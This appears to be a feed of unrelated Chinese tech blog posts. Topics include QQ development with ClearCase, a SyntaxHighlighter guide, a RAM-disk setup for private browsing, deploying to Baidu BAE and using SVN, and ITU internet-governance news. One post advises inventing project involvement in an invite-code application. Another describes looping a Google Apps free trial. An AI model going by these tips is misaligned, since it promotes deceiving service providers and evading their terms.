]]>开发每个人有两台联想台式机,预装 Win 7 和一堆内网监控软件,你懂的。配置还可以,不过其实开发 QQ 有时候还是会有点吃力。一台接入开发网,只能用来开发和上公司内网。另一台接入办公网,可以上外网,但是腾讯内部有白名单,非腾讯自家客户端上网也必须设代理,所以有时候就比较尴尬,比如如果某个软件不支持代理就傻了。我曾经想 push 代码到 GitHub,后以失败告终。总部大厦几乎每个地方都有免费 Wi-Fi,所以如果你自带电脑的话上网还是可以比较爽的。
开发环境 Visual Studio 2005,我因为习惯了 Vim,所以都是在 Vim 里敲代码,然后拿 VS 来编译和跑程序。强烈推荐再装上「小番茄」[1],至于我们有没有交钱这个你也懂的。版本控制是 ClearCase(大槽点之一。。。以下简称 CC),CC 绝对是我见过的最逆天、最无敌的软件,安装文件硕大无比,用的时候卡得一逼。
QQ 内部对版本控制系统的使用要求比较严格,当你需要开发一个新需求的时候要先发一封邮件给 CC 管理员(居然有单独的管理员!),让他给你建一个子流(相当于建分支,建分支居然还要申请!)。然后从 CC 服务器上把新建的子流拉到本地,注意,虽然这只是一个分支,但是你需要把整个 QQ 代码都再重新下载一遍!所以一般这种时候你可以去喝杯水看看风景啥的,时间取决于网速,一般 30 分钟至数小时不等。然后你终于开始了「愉快」的开发生活,你会发现每当你要修改一个文件的时候,你需要先 checkout 它(注意跟 Git 的 checkout 没有半毛钱关系),checkout 完之后就只有你能改这个文件,如果刚好有人和你在同一个子流开发,必须等到你 checkin 之后才能 checkout 这个文件。当然如果你等不及别人 checkin,你可以先 hijack 这个文件,改完之后再跟别人的修改合并。写好代码想编译下看看效果,首次编译 QQ 的话耗时巨长无比(而且每次拉了新的子流后都要经历一次),所以你又可以去喝杯水看看风景啥的,时间取决于机器性能,一般 1 小时至数小时不等。并且编译过程中开发机基本处于卡死状态,根本没法用,于是我通常都是吃饭前或者下班回家前干这种事情。
开发完成之后没有 code review,况且要通过 CC 来看更改也极为麻烦。这时需要制作一个安装包给测试人员,打安装包这种事情一般交给编译机,时间 20 分钟左右,最快记录貌似是 8 分钟,当时负责优化性能的同学还拿了奖啥的。测试过程中使用内部系统 TAPD 进行 bug tracking,每个 bug 分高、中、低三个等级,QQ 这边的 QA 对于质量要求很严格,需要同时通过功能测试和性能测试,通常要求是 0 个高单和中单(俗称 0 bug 合入),少量低单是允许的。在经过严格的测试之后就可以合入主流了,使用 CC 的 deliver 功能来完成。但最好是先 rebase 主流(相当于 merge 主流,同样跟 Git 没有半毛钱关系),确保没有问题之后再 deliver。至此你的开发任务已经完成,接下来就是等待版本发布。
QQ 内部有一套成熟的客户端框架,代号 Hummer(蜂鸟),提供了诸如代码解藕、公共库、插件机制、国际化等功能。自研的皮肤引擎,代号 GF(GUI Foundation),用来实现各种界面效果。这两块是作为 QQ 开发者必须要掌握的,同时围绕这两块还开发了一堆小工具,最常用的就是 LogViewer,用来查看日志文件,还有性能工具用来分析代码性能。底层代码和应用层代码是分离的,因此有时在 debug 时会遇到部分代码无法查看的情况。
最后配图一张,原谅写得有点罗嗦。话说自从来了知乎以后,就再也体会不到那种按下 F7 的快感了。
图片来自 http://xkcd.com/303
10:51 更新:
http://impd.tencent.com,QQ 客户端官方技术博客,有兴趣的同学可以订阅。
——
[1] http://www.wholetomato.com
Posted on http://www.zhihu.com/question/20672463/answer/15809516
]]>今天就给大家推荐一款这样的代码高亮插件:SyntaxHighlighter Evolved。相信我, 功这款插件能强足够大、并且简单易用,绝对值得推荐。本站就是用的这款插件,大家可以看看“生病的JavaScript代码”,这就是最好的例子。
插件名称:SyntaxHighlighter Evolved
插件作者:Viper007Bond, automattic
作者主页:http://www.viper007bond.com/wordpress-plugins/syntaxhighlighter/
插件类型:代码高亮
中文支持:支持
安装环境:WordPress2.7或以上版本,经过我自己的测试,在3.3和3.4上都可以正常运行
下载地址:点击这里下载最新版
SyntaxHighlighter Evolved基于开源的JS核心库:SyntaxHighlighter JavaScript package by Alex Gorbatchev二次开发扩展的。安装后只需简单设置一下,不用修改任何代码即可达到很好的效果。
说起SyntaxHighlighter Evolved的特效,忍不住要“炫耀”一下。不说不足以让你感受到SyntaxHighlighter Evolved的强悍功能。SyntaxHighlighter Evolved的功能特效如下:
只要做Web应用的,无论是JSP,还是PHP,甚至ASP.NET,都会用JavaScript代码。所以,就是用JavaScript代码来演示SyntaxHighlighter的功能吧。要实现的功能是计算第N个斐波纳契数列(Fibonacci Sequence)数列的值。同时,我们要求文件名显示为:FibonacciSequence.js;代码的第二行高亮显示。则实例如下:
function fib(n) { return n<2 ? n : fib(n-1) + fib(n-2);}
怎么样,你是不是已经被SyntaxHighlighter强大功能震撼了?也许你已经好奇,这是如何实现的?我们接下来就介绍SyntaxHighlighter的使用方法。
只需要在后台插件里搜索“SyntaxHighlighter Evolved”之后点击安装,启用即可。
使用方法很简单。在发布文章时,在“HTML”编辑模式下(注意:不是CKEditor等富文本编辑模式;防止让这些富文本编辑器把代码转义了。),使用如下代码,把需要展示的代码包含起来即可:(注意:把前面的@符号去掉。)
<pre class="lang:java decode:1 " >这里写你的代码</pre>
<pre class="lang:css autolinks:false classname:myclass collapse:false firstline:1 gutter:true highlight:1-3,6,9 htmlscript:false light:false padlinenumbers:false smarttabs:true tabsize:4 toolbar:true title:example-filename.php decode:1 " >这里写你的代码</pre>
[code lang="js"]这里写你的代码[/code]
[sourcecode language="plain"]这里写你的代码[/sourcecode]
其实,在网上,搜“SyntaxHighlighter 使用方法”就会出现一堆结果,里面大多时对于这些使用方法的罗列。很少去讲解这些配置项的意思和说明。下面,我将针对这些配置进行详细说明。同时,针对这些配置的使用,我总结了SyntaxHighlighter使用方法的最佳实践。如果急于知道结果,可以直接查看“最佳实践”。
简码 | 默认值 | 含义说明 | V2支持 | V3支持 |
---|---|---|---|---|
lang | 无 | 说明代码块是哪种语言? | 支持 | 支持 |
autolinks | true | Toggle automatic URL linking. 是否自动将网址转换为链接。 默认转换。可以后台管理页面修改默认值。 [示例:点击查看](http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/auto-links.html) | 支持 | 支持 |
classname | 无 | Add an additional CSS class to the code box. 允许你添加一个或多个自定义的样式。 默认没有。可以后台管理页面修改默认值。[示例:点击查看](http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/class-name.html) | 支持 | 支持 |
collapse | Toggle collapsing the code box by default, requiring a click to expand it. Good for large code posts. 是否默认折叠代码段。如果折叠,这需要一个“点击”操作,才能展开。非常适合有大段代码的文章。默认不折叠。可以后台管理页面修改默认值。 [示例:点击查看](http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/collapse.html) | 支持 | 支持 | |
firstline | 1 | An interger specifying what number the first line should be (for the line numbering). 设置起始行的行号。[示例:点击查看](http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/first-line.html) | 支持 | 支持 |
gutter | Toggle the left-side line numbering. 是否显示行号。默认显示。可以后台管理页面修改默认值。 [示例:点击查看](http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/gutter.html) | 支持 | 支持 | |
highlight | 无 | A comma-sperated list of line numbers to highlight. You can also specify a range. Example: 2,5-10,12 需要高亮显示并使用逗号分隔的行号。同时,也支持区间(开始行号-结束行号)。例如:2,5-10,12。 [示例:点击查看](http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/highlight.html) | 支持 | 支持 |
htmlscript | Toggle highlighting any extra HTML/XML. Good for when you're mixing HTML/XML with another language, such as having PHP inside an HTML web page. The above preview has it enabled for example. This only works with certain languages. 是否高亮显示功能任何额外的HTML / XML。特别适合混合HTML/XML与另一种语言混合的情况下。如在HTML代码中含有部分PHP代码。注意,这仅仅适用于特定的语言。[示例:点击查看](http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/html-script.html) | 支持 | 支持 | |
light | false | Toggle light mode which disables the gutter and toolbar all at once. 是否显示高亮模式。默认是关闭。可以后台管理页面修改默认值。 | ||
padlinenumbers | off | Controls line number padding. 设置行号的格式化,前面是否补零。默认是关闭。可以后台管理页面修改默认值。 | 支持 | 支持 |
title | 无 | Sets some text to show up before the code. 设置文本的标题。默认没有。可以后台管理页面修改默认值。 | 不支持 | 支持 |
toolbar | false | Toggle the toolbar (buttons in v2, the about question mark in v3) 默认不显示。可以后台管理页面修改默认值。 [示例:点击查看](http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/toolbar.html) | 支持 | 不支持 |
wraplines | false | Toggle line wrapping. 是否开启自动换行。可以后台管理页面修改默认值。 | 支持 | 不支持 |
smarttabs | true | Allows you to turn smart tabs feature on and off. [Click here](http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/smart-tabs.html) for a demo.智能制表符 | 支持 | 不支持 |
tabsize | 4 | Allows you to adjust tab size. [Click here](http://alexgorbatchev.com/SyntaxHighlighter/manual/demo/tab-size.html) for a demo.制表符的长度。 | 支持 | 不支持 |
目前IT行业中,常用的语言有几十种;使用的开发环境也多种多样,比如开发Java的也许用Eclipse的比较多;但是在Linux下做C/C++开发的也许用Emacs等。见过这些开发环境的人都知道,这些开发环境的高亮模式、颜色等都是不一样的。习惯了Eclipse的人很难适应Emacs;反之亦然。SyntaxHighlighter考虑的很周全,她在内部直接继承了大概其中这样的颜色主题来供大家选择。大家可以在后台的管理页面轻松的选择自己喜欢的“颜色主题”来进行显示。“颜色主题”列表如下:(排名部分前后。呵呵)
从事IT行业的朋友也许都知道,由于历史等原因,一个语言可能有好几个名字。比如JavaScript,微软山寨了个JScript;后来经过ECMA标准化之后,名字又称了ECMAScript;我们大家平时还简称成JS。这就给我们在使用SyntaxHighlighter的语言代号时,造成了一定的困难:不知道到底该用哪个名字才是“正确”的。
其实,这点SyntaxHighlighter也考虑到了。她通过“语言别名”的方式很好的解决了这个问题。
语言别名 | 语言代码 | 说明 |
---|---|---|
as3 | as3 | 不知道是否支持AS2? |
actionscript3 | as3 | |
bash | bash | 竟然还支持Shell. |
shell | bash | |
coldfusion | coldfusion | |
cf | coldfusion | |
clojure | clojure | |
clj | clojure | |
cpp | cpp | |
c | cpp | |
c-sharp | csharp | |
csharp | csharp | |
css | css | |
delphi | delphi | 看来Delphi和Pascal确实有一腿啊! |
pas | delphi | |
pascal | delphi | |
diff | diff | |
patch | diff | |
erl | erlang | |
erlang | erlang | |
fsharp | fsharp | |
groovy | groovy | |
java | java | |
jfx | javafx | |
javafx | javafx | |
js | jscript | 从这里可以看出,针对JavaScript的代码,写js行,写javascript行,甚至是微软的jscript都行。 |
jscript | jscript | |
javascript | jscript | |
latex | latex | Not used as a shortcode |
tex | latex | |
matlab | matlabkey | |
objc | objc | |
obj-c | objc | |
perl | perl | |
pl | perl | |
php | php | |
plain | plain | |
text | plain | |
ps | powershell | |
powershell | powershell | |
py | python | |
python | python | |
r | r | Not used as a shortcode |
splus | r | |
rails | ruby | 针对Ruby的。td> |
rb | ruby | |
ror | ruby | |
ruby | ruby | |
scala | scala | |
sql | sql | |
vb | vb | |
vbnet | vb | |
xml | xml | 针对XML、HTML以及XHTML等,其实都是按照XML来处理的 |
xhtml | xml | |
xslt | xml | |
html | xml | |
xhtml | xml |
从这个表中,我们也可以看出SyntaxHighlighter支持的编程语言多达二十五种语言:AppleScript、 ActionScript、 Bash、 ColdFusion、 C /C++、 C#、 CSS、 Delphi、 Diff(不知道这是不是一种编程语言)、 Erlang、 Groovy、 Java、 JavaFX、 JavaScript、 Perl、 PHP、 PowerShell、 Python、 Ruby、 Sass、 Scala、 SQL、 VB、 XML。
经过配置的讲解,我们可以明白,SyntaxHighlighter已经遵循了软件工程中的最佳实践“约定大于配置”。其实,我们并不需要过多地去设定SyntaxHighlighter的配置,只需要设定一些“实在没办法约定”的配置项即可。比如:title、highlight等。另外,经过我自己的实际测试,我还发现了第五种使用方法,其实,我们可以在[代码名称]这个标签中,添加刚刚讲到的配置配置项。当然,lang就没必要了。因为这里已经通过“标签名”指定过了。综上所述,SyntaxHighlighter使用方法的最佳实践如下:(下面以Java代码为例)
[@java title=”自定义的文件名” highlight=”高亮的行”] 这里写你的代码 [/java]
有时,我们并不需要一定有高亮强调的行,这是highlight就可以省略掉。另外,如果你需要自定义样式,可以添加class属性。不过,我个人觉得必要性不大。
大家在 “生病的JavaScript代码” 也许会发现高亮部分的背景颜色比较深,也许有一些人看着不舒服(我个人就觉得颜色有点深)。也许就有人想修改高亮行的背景色。这是,就可以通过修改插件自带的CSS文件,来实现自定义样式的功能。
在线操作方式是:登录Wordpress后台管理页面,插件-编辑-选择SyntaxHighlighter-选择syntaxhighlighter/syntaxhighlighter2/styles/shThemeDefault.css-找到
.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{ background-color: #e0e0e0 !important;}
将其修改为:
.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{ background-color: #6CE26C !important;}
重起见,D瓜哥不建议做这个修改。如果以后修改“颜色主题”可能会带来一点的不良影响。
SyntaxHighlighter的“容器”样式是一个方方正正。也许不如圆角、立体阴影效果漂亮。这个效果也很容易实现。只需要修改syntaxhighlighter的样式即可;不过,这个修改是在主题的style.css文件做的。修改方式如下:将以下代码添加到主题的style.css文件里面:
.syntaxhighlighter{ padding: 10px 0 !important; box-shadow: 1px 1px 3px #ccc; -webkit-box-shadow: 1px 1px 3px #ccc; -moz-box-shadow: 1px 1px 3px #ccc; border-radius: 5px; -webkit-border-radius: 5px; -moz-border-radius: 5px; }
参考资料:
Posted on http://www.diguage.com/archives/59.html
]]>我们知道 Windows 7 是个很强力的系统(当然,在 Windows 8 发布之前),不仅仅只是界面、易用性和稳定性方面有所提升,更重要的是,全新的 Windows Update 也比以前更屌爆了。Windows Update 已经不仅仅是一个下载安全更新的平台,更集语言包、驱动程序、错误解决方案于一体。但是很多用户往往在第一次进入系统后便想尽各种方法封杀 Windows Update,包括但不限于使用第三方软件(如 361 安全卫士、PP 电脑管家)、禁用后台服务,设置组策略等等……殊不知保持 Windows Update的正常运转,会给用户带来诸多方便。这里以驱动问题举例。
Windows 7 自带绝大部分硬件驱动,不过对于一部分硬件也存在驱不动或者自带驱动不够新的情况。所以在安装完新系统之后,第一件事不是使劲喂光驱驱动光盘,而是调节 Windows Update。首先停止可能已开始的更新任务,并点击左侧的“更改设置”,在“重要更新”下方选取“检查更新,但让我选择是否下载和安装更新”,确定后返回。然后在 Windows Update 中找到如下界面,点击“查找详细信息”,而后关闭当前窗口。
Internet Explorer 将会打开一个页面,跟随操作以将 Windows Update 应用到所有 Microsoft 产品(而不仅仅是 Windows),期间推荐选择“保留我当前的设置”,直到 Windows Update 下方横幅改变。
此时新的更新检查操作会自动开始,等待完成即可在“重要”或“可选”列表中找到有关最新驱动程序的更新。这时再下载安装更新,即可保证安装的驱动程序是最新的,同时也是最纯净的。Windows Update 只会下载安装单纯的驱动,而不会附带安装什么 Dashboard 或 Control Center 之类的无用性能监视工具。而且全程静默安装,完全不需要用户绞尽脑汁配置驱动附加组件。下图是安装成功的历史记录。
另外,新添加大型即插即用设备(如打印机、扫描仪等,移动硬盘就不算进来了)后,也可以交给 Windows Update 解决驱动问题(除非用户手动跳过,系统一般默认获取 Windows Update 上的驱动)。只要你不在乎设备随盘附赠的软件和工具,就直接插上插头,等待驱动安装成功吧。
后记:
如果你的硬件实在冷门,抑或产品太过新潮,连 Windows Update 也没有相应驱动,不必担心。“操作中心”会显示给你一条消息,指引你前往官方网站下载最近驱动程序。提供的网址都是直接下载链接,一键点开便立即下载。安装完成后将消息存档即可。
您可以在 SkyDrive 中 查看或下载 此文章的电子版本。
]]>首先推荐的软件是 KeePass Password Safe(Windows 平台的名称),这款软件提供主流全平台支持,甚至包括比较冷门的 Palm OS 和 Spoon 系统(我没有听说过),并且在绝大多数平台上功能都很全面(不像某些软件,在部分平台上只有查看功能)。话说 KeePass 是我最喜欢的一款密码管理软件,一个主要原因就是它开源、免费。你可以在 KeePass 中分类管理帐号密码,且可以于特定窗口中按下快捷键进行自动输入。KeePass 有独创的“双通道混要输入”技术,通过半模拟按键半复制粘贴的乱序键入方式,使得任何恶意程序都无法获取到完整正确的密码组合(某些情况下,基于软件或网 页限制,此项技术并不可用,但仍然可以使用全模拟按键方式自动键入密码)。KeePass 最多允许使用一个主密码、一个随机密钥文件和当前 Windows 用户账户信息保护和加密数据库。
![](//www.sinosky.org/uploads/2012/KeePass Password Safe.png)
下一个要谈谈 1Password(Mac 平台的名称),很多人也许听说过,曾经是 Mac OS 上老牌的密码管理软件。软件功能很强,但只提供 Windows 和 Mac OS 版本,还有只能查看数据库的 Android 版(实在是可有可无)。1Password 仅使用一个主密码加密数据库,且需要配合浏览器插件实现网页帐号密码自动输入,不支持应用程序中的帐号密码。但值得一提的是,1Password 输入方式很有特点。KeePass 是模拟手动输入,需要鼠标首先定位到用户名框,在输完用户名后发送一个伪 TAB 命令再输入密码,最后是 ENTER 命令。1Password 则是识别输入框标记,“用户名”字段可以保证永远输入在“用户名”框中,密码则是密码框,无论你将鼠标定位在哪里,都能实现准确输入。这一点上来 说,1Password 较比 KeePass 有很大优势。
其它密码管理软件我也用过不少,功能与安全性上各有优劣。今天暂时不提,后续我还会更新这篇文章,帮助大家选取最 实用、最适合的密码管理软件。当然,最好的保险箱还是自己的大脑,前提是确保它能存住足够多的东西……相信我,密码总是 会越来越多的!
]]>1. IFTTT: Pu-the Internet to work for ya!
IFTTT 应该算是任务自动化的鼻祖。网站通过由用户创建“if THIS then THAT”的规则,便可在条件发生更改后自动执行关联的命令。IFTTT 目前共支持 58 个帐户中近 200 个条件与命令间互相建立关联。例如用户可创建“Instagram > Dropbox”的规则,当有新照片添加至 Instagram 后,IFTTT 将自动上传这些照片到 Dropbox 网盘;抑或创建“Weather > SMS”的规则,指定某个城市或地区将要出现下雨天气或大幅度温度变化时发送短信至用户手机。
注意:IFTTT 中的大部分帐户绑定均国际通用,但某些帐户仅限部分国家或地区得以访问;命令中的“Phone Call(接收电话通知)”仅支持美国电话号码。
Home Page - https://ifttt.com/
Browse HOT Recipes - https://ifttt.com/recipes
Supported Channels - https://ifttt.com/channels
Learn More About IFTTT - https://ifttt.com/wtf
2. 万能提醒 (Memo+ / Memo Plus):不只是提醒那么简单!
万能提醒是国内开发者设计的一款 Android 手机应用,堪称“事无巨细的 Android 效率软件”。从生活到娱乐,万能提醒总是能在正确的时刻做出正确的操作。应用可以在动漫、美剧更新后发送通知并提供在线观看地址,或者在进入、离开学校后向父母发送短信报平安,甚至还能在手机低电量关机之前发出最后一条微博向好友求助。用户只需登录万能提醒,创建任务并将 Android 设备保持与互联网的连接,万能提醒就能帮用户省去很多时间。
注意:万能提醒的几乎所有任务都需要云端服务器支持,这意味着必须时刻将设备的移动数据或无线网络开启,且退出后还会在 Android 系统中留下后台服务。
官方下载地址 - https://play.google.com/store/apps/details?id=com.jgy.memoplus
百度应用页面地址 - http://as.baidu.com/a/item?docid=3314967894
3. on{X}: automate your life!
微软出品的基于 JavaScript API 的任务自动化应用。on{X} 需要 Facebook 帐户,登录后可从网站设置规则并实时推送到 Android 设备。应用支持 Java 语言编写的规则,并能够通过社交网站或官方社区分享规则。例如,on{X} 可以实现当标记为重要的联系人来电时强制大声响铃并闪烁闪光灯以示提醒;或在每天早上向随机联系人发送随机祝福内容的短信;也可设置在嘈杂环境下来电时挂断电话并回复致歉短信。on{X} 能够充分利用 Android 设备的各种传感器和接收器,并将一系列看起来毫不相关的事件连成任务串。
Home Page - https://www.onx.ms/
Top Rules - https://www.onx.ms/%23recipesPage
Official Blog - https://dev.onx.ms/blog/
About on{X} - https://www.onx.ms/%23findOutMorePage
您可以在 SkyDrive 中查看或下载此文档的电子版本。
]]>下面切入正题。
我们知道 InPrivate 浏览,这是 Internet Explorer 一个非常好的功能,可以不留痕迹的上网……你懂的。但是 InPrivate 也有很多不便之处,比如它直接禁用了 Cookie、临时文件储存功能和全部扩展、加载项,对于某些必须保存 Cookie 数据和需要加载项的网站来说,InPrivate 就有些鸡肋了。那么,如何实现全功能不留痕迹浏览呢?下面来介绍一种方式,既保证 TruePrivate,又不失网络体验。
TruePrivate 实现的思路是这样的:由于不可能改变 InPrivate 的规则,而加载项和扩展都是正常运行的,要实现隐私浏览就必须从 Cookie 和临时文件入手。这好办了,用内存啊。
需要用到一个软件,是大名鼎鼎的“魔方”优化工具的一个组件,(您可以访问 软媒产品主页 来下载“魔方 3”,也可以访问 Google 云端硬盘 单独下载所需软件)目的是将部分内存虚拟为硬盘驱动器。内存的原理不必多说,关机即清的特点非常适合用作 TruePrivate 浏览中 Cookie 等数据的储存介质。操作过程图文如下。
第一步,解压(或安装)名为 RAMDisk.exe 的程序。(不再上图)
第二步,创建一个新的内存盘,路径和盘符可以随意设置,大小建议为 250 MB,使用 NTFS 文件系统。打开自动加载,但关闭自动保存。注意:这里的文件路径只做紧急情况保存重要数据使用,通常情况下此文件内容为空。
第三步,在资源管理器中确认内存盘已经加载,并尝试在其中新建任意文件测试是否正常使用。
第四步,更改 Internet Explorer 中 Cookie 和临时文件的保存位置,临时文件的最大可用空间需小于虚拟内存盘总大小。注意:Internet Explorer 10 修改此设置需要注销并重新登录当前用户,无论在 Windows 7 还是 Windows 8 中都需如此操作。
最后,大功告成。直接打开 Internet Explorer 看看是不是所有功能全部正常,再也不用担心隐私浏览没有扩展程序和加载项了。而如果希望完全删除浏览数据,只要简单重启一下计算机或者刷新内存即可。这才是 TruePrivate!
后记:
灵活使用内存盘可以帮助我们完成很多平时操作起来非常繁琐的清理工作,例如应用程序临时文件和各种缓存目录。如果你的计算机安装有 Google Chrome 等第三方浏览器,则可以配合 Internet Explorer 使用,做到随时可以在正常浏览与 TruePrivate 之间切换。但此方法对 Google Chrome 并不适用,似乎 Chrome 将部分重要的网页本地数据保存在了除浏览器缓存目录外的其它路径,即使修改临时文件路径也不能做到无痕浏览。
]]>目前 BAE 还不成熟,基于 BAE 的开源程序还不多,本文将介绍的是我找到的唯一一个支持 BAE 的开源论坛程序—— youBBS。
在阅读本文之前,请确定您已经在 BAE 上创建了第一个应用,否则请先阅读 百度 BAE 系列教程之申请篇 。如果您还不会使用 SVN ,请先阅读 百度 BAE 系列教程之SVN篇 。
youbbs的意思:又一个bbs(轮子)、you bbs……
youbbs开发的动机:传统论坛功能越来越多,越来越臃肿,而对于一些小站长只需要一些简单的功能;
youbbs特点:界面简洁优美、功能简洁实用、性能高效、代码简洁安全;
youbbs运行平台:标准php+mysql平台,目前已成功移植到SAE、新浪云空间、BAE、AppFog。
官方论坛:http://youbbs.sinaapp.com
下载地址:https://code.google.com/p/youbbs/downloads
1. 首先我们要创建一个PHP应用。
2. 创建一个数据库。
3. 进入 管理中心 – 我的云服务(BAE) ,选择 云存储 下的 我的Bucket ,新建一个 Bucket 。Bucket 的名字可以随意填写,配额请根据实际情况调节,当然以后也可以调节配额。
4. 把下载好的程序解压,修改 conf.inc.php 第6行和第8行的 AK 、SK为自己的。修改第14行的bucket名称为上一步中所建的。
Access Key (AK) 和 Secure Key(SK) 可以在 管理中心 – 我的密钥 中找到。可以使用原有的,也可以创建新的。
5. 修改 config.php 第10行 http://bcs.duapp.com/ 后面的内容为第3步中所建的bucket名称。修改数据库名为自己的。
数据库名可以在应用管理中的 云环境管理 – 服务管理 – 云数据库 中找到。
1. 在 云环境管理 – 托管管理 – 版本管理 中创建一个新版本并上线。你可以把修改好的程序打包上传,也可以使用SVN上传,前面的教程已经很详细了,这里不再赘述。
2. 访问 你的域名/install.php 完成初始化
初始化完成后你就能看到论坛的主页了,默认第一个注册的用户为管理员。页面右边是管理员面板,里面的设置都有详细的说明。
至此,部署 youBBS 的教程就结束了,如果顺利的话,下一篇教程应该是部署 B3log Solo ,敬请关注。
]]>现在网络上关于 BAE 的教程还不多,所以我决定写几篇关于 BAE 的系列教程,主要是面向刚接触云平台的初学者。如果您是开发者或者能熟练使用各种云平台,那么请无视这些文章。如果您信不过国内的云平台而想找个国外的云平台的话,不妨看看我以前写的关于国外云平台的推荐。
目前 BAE 处于公测阶段,需要邀请码才能使用,不过获得邀请码的方式很简单,发送邮件到 dev_support@baidu.com 申请即可,格式如下:
标题:申请开放云平台邀请码
内容:
1.详细描述团队信息
2.详细描述已发布的产品介绍(暂不对没有线上产品的开发者开放)
3.申请使用的原因
另外,请附上您的百度账号
说明:
1. 团队信息可以随便填写,最好是真实的,写个人开发者也可以通过。
2. 如果没有没有已发布的产品就随便找个项目(有项目主页的最好),然后说自己参与过这个项目的开发。
3. 原因随便写点什么就行,最好是说“BAE 比 SAE 好,自己想试试”之类的。
附上我以前的申请邮件供参考(注:本人小白一个,半行代码都不懂,跟 B3log 团队没有一毛钱关系,邮件内容纯属扯淡)。
一般发送邮件后第二天就能收到邀请码了,如果是周末请耐心等到下个星期一,人家也要休息嘛。
收到邀请码以后,进入百度开发者中心,点击 开始使用百度应用引擎 BAE,输入邀请码后完成激活。
激活后你就进入 BAE 的 管理中心 了,这些东西现在我们用不到,先无视吧。
点击右上方的 创建应用 ,选择 Web应用 ,接入方式为 托管到BAE 。默认只能创建 PHP 应用,如果要使用 Python/Java 环境,继续发邮件申请吧。
创建好应用后就会进入到应用的管理中心,进入 云环境管理 ,点击 托管管理 中的 版本管理 ,创建一个新的版本。
接下来就是创建数据库了,点击 服务管理 下的 云数据库 ,选择 创建数据库 。数据库只能创建一个,描述可以随便写,图中我已经创建好了。
如果需要绑定域名的话,只需点击 托管管理 下的 域名绑定 , 选择 新增绑定 即可。
在此之前,不要忘了做CNAME解析哦,记录值就是你的百度域名。
至此,我们在 BAE 上的第一个应用就创建好了,接下来就是上传代码了,敬请关注后续教程。
]]>目前,无论是Windows平台、Linux平台还是Mac平台都有比较成熟的SVN客户端工具。
下面以Windows为例,概述使用SVN部署代码的主要流程。
如果您已安装TortoiseSVN,请跳过这一步。
在安装的过程中如果出现下图,恭喜您,SVN已经安装成功,可进入下一步。
使用您的百度账户登录百度开放者中心之后进入”管理中心” 并选择“我的应用”
选择相应托管在BAE上的应用,点击“管理”,即可进入待操作程序的版本管理页面
首先创建本地目录,用于存放从SVN仓库中checkout的代码。本地目录可以用程序版本的程序名加版本号命名,也可以是其它任意名字。本地目录将作为SVN的工作目录。
选中本地目录,右键选择SVN Checkout。
在弹出的窗口中,黏贴第二步中获取的仓库地址,并设置代码的版本信息,可以是最新版本“HEAD revision”,也可以指定为任意版本。
点击“ok”后,进入用户信息验证。输入百度账号和密码,完成验证。由于SVN不支持中文,SVN服务初期开放阶段只提供给用户名中不包含中文的用户。
验证成功,则显示如下提示,并将代码checkout到本地目录中。
进入本地目录则可以看到check到本地的文件。
在本地目录中,您可以对版本代码进行增加文件或目录、删除文件或目录、修改文件内容和重命名文件和目录等。
在本地目录中新增文件和目录,可以在本地目录中直接新建,也可以从其他地方复制进来。 此时,新增的文件和目录上标记了问号,例如下图中的新增文件“Blue hills.jpg”和目录 “add”。
在提交到SVN仓库之前,需要先进行Add操作,告知SVN客户端增加了文件或目录。
如果您的新增目录中包含文件或者目录,可以选中所有,将新增目录以及其子目录或子文件一次性加入。
而对于已有文件内容的修改,则可以直接“commit”将代码提交到SVN代码仓库中去。
选中要删除的文件,选择SVN的delete操作,删除当前文件,请不要直接删除。
选中要重命名的文件,右键,选择SVN的“Rename”操作,请勿直接重命名文件。
在弹出的窗口中输入新的文件名。
点击“ok”后,刷新本地目录,可以看到js.html文件不在,而新增了一个javascripts.html文件。
在将更新提交到SVN代码仓库中时,可以逐个更新提交,也可以在本地目录一次提交所有更新。
在弹出的框中,根据需要输入本次commit的更新说明。点击确定,完成commit操作。
如果显示如下框,则说明提交更新成功
利用TortoiseSVN可进行的操作还有很多,比如“更新”、“查看日志”和“撤销”等。更多使用请见http://tortoisesvn.net/support.html
]]>谷歌此举旨在抵制12月举行的国际电信大会上的一些议题。
美国代表称,一些国家提出的修改建议很令人担忧。比如建议由ITU监管互联网内容。
美国代表团团长、大使Terry Kramer表示:“有些提案建议ITU监管互联网内容。还有一些建议称政府应该管理互联网,监管内容,包括人们在看什么、在说什么。这从根本上违反了民主理念和个人自由,我们将全力反对。”
他补充说,他个人特别关注由俄罗斯提交的一份提案,提案称ITU成员国应该在管理互联网方面有同等权利,他认为此提案一旦通过将打开互联网监管更甚的大门。
在“采取行动”网站上,谷歌呼吁“自由开放的世界依赖于自由开放的互联网,互联网政策应该像互联网一样:开放而且兼容并包,政府不能单方面决定互联网的未来。全球几十亿的互联网用户应该有发言权 。”谷歌称:“只有政府在 ITU 才有发言权,这其中就包括不支持互联网自由开放性的政府。 而打造和使用网络的工程师、公司和普通大众没有投票权。”
不过ITU指出,谷歌已经派员加入美国代表团,有机会在会上发出自己的声音。
谷歌已经和思科、微软、Comcast、AT&T等组织了一个资金充足的商业性的活动,通过律师、前任美国大使、前任美国政府IT政策协调员David Gross前往迪拜协调。这是一个力量强大的游说队伍,谷歌手段相当精明,利用政策专家和高科技领域的名人来发出自己的声音。
此次WCIT弥漫着紧张的政治气氛,俄罗斯和中国明确表态,希望美国放开对互联网的控制权,还有一些国家的提案将使监管趋向严厉,侵犯隐私和言论自由。另外也有一些发展中国家希望在这次大会上发出自己的声音,也希望获得未来互联网的发言权。
]]>国际电信联盟(简称“国际电联”,“电联”或“ITU”)是一个国际组织,主要负责确立国际无线电和电信的管理制度和标准。它的前身是1865年5月17日在巴黎创立的国际电报联盟,是世界上最悠久的国际组织。它的主要任务是制定标准,分配无线电资源,组织各个国家之间的国际长途互连方案。它也是联合国的一个专门机构,总部设在瑞士的联合国第二大总部日内瓦。
首先,先申请30天的Google Apps for Business免费试用。
当试用期快结束时,在 域名设置 - 订阅和帐单结算 中,取消 Google Apps for Business。
选择 降级到 Google Apps 。
然后回到 信息中心,看右上角
你会发现,又可以免费试用30天了 :-)
